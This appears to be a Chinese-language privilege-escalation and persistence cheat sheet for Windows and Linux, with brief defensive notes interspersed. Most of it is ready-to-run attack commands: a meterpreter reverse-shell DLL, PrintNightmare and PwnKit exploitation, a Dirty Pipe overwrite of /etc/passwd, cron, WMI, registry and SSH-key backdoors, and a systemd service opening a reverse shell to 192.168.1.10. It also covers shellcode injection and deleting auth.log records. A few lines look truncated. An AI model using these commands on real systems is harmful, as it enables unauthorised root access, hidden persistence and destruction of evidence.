漏洞原理:
Windows Print Spooler服务未校验RPC调用权限,允许普通用户加载恶意DLL获取SYSTEM权限。
攻击流程:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll > evil.dll
impacket-smbserver share . -smb2support
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
execute -H -f rottenpotato.exe -a "-l 1337 -p C:\temp\payload.dll"
sc config "VulnerableService" binPath= "C:\Windows\System32\cmd.exe /c net user hacker P@ssw0rd! /add"
sc start VulnerableService
# 检查服务DACL
accesschk.exe -uwcqv "Everyone" *
补丁管理:定期更新系统补丁(WSUS/SCCM)
权限最小化:服务账户降权至非SYSTEM
日志监控:审核服务创建、令牌使用事件(Event ID 4672)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
利用案例:
CVE-2021-4034(PwnKit):
# 利用polkit提权
wget https://example.com/pwnkit-exploit
chmod +x pwnkit-exploit
./pwnkit-exploit
# 编译恶意so
echo 'int geteuid() { return 0; }' > priv.c
gcc -shared -o priv.so priv.c
# 劫持执行
sudo LD_PRELOAD=./priv.so /usr/bin/vim
# 覆盖/etc/passwd添加root用户
./dirtypipe /etc/passwd 1 oot:x:0:0:root:/root:/bin/bash
echo "* * * * * root /tmp/shell.sh" > /etc/cron.d/backdoor
chmod +x /tmp/shell.sh
检测防御:
使用cronlog
记录任务执行日志
限制/etc/cron.d/
目录写入权限
SUID清理:chmod -s /usr/bin/find
SELinux/AppArmor:强制访问控制策略
文件完整性监控:Tripwire/AIDE检测关键文件篡改
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\backdoor.exe"
$FilterArgs = @{Name="EventFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process'"}
$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{Name="EventConsumer"; CommandLineTemplate="C:\backdoor.exe"}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter; Consumer=$Consumer}
echo "ssh-rsa AAAAB3NzaC..." >> ~/.ssh/authorized_keys
# 创建恶意服务
[Unit]
Description=Network Manager
[Service]
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
[Install]
WantedBy=multi-user.target
# PowerShell反射注入
$Kernel32 = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
"@
Add-Type $Kernel32
$Addr = [Kernel32]::VirtualAlloc(0, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Addr, $Shellcode.Length)
EDR防护:部署Carbon Black/Sysmon检测异常进程行为
启动项审计:定期检查注册表、cron、systemd配置
网络流量分析:识别隐蔽C2通信(如DNS隧道)
初始立足点:通过Web漏洞上传WebShell获取www-data权限
本地提权:利用Linux内核漏洞(如Dirty Cow)升级至root
持久化:写入SSH密钥+隐藏Systemd服务
痕迹清理:删除/var/log/auth.log相关登录记录
行为基线监控:
检测非授权SUID文件创建
告警异常计划任务(如每分钟执行的反弹Shell)
内存取证:使用Volatility提取恶意进程镜像
实验环境:搭建Windows Server 2016/Ubuntu 20.04靶机
工具掌握:熟练使用Mimikatz/Beacon/Cobalt Strike
漏洞复现:复现CVE-2023-21608(Windows ALPC提权)
本部分内容将帮助学习者从普通权限突破至系统最高权限,并建立隐蔽的持久化通道,覆盖APT攻击中的关键渗透环节,同时构建纵深防御体系对抗高级威胁。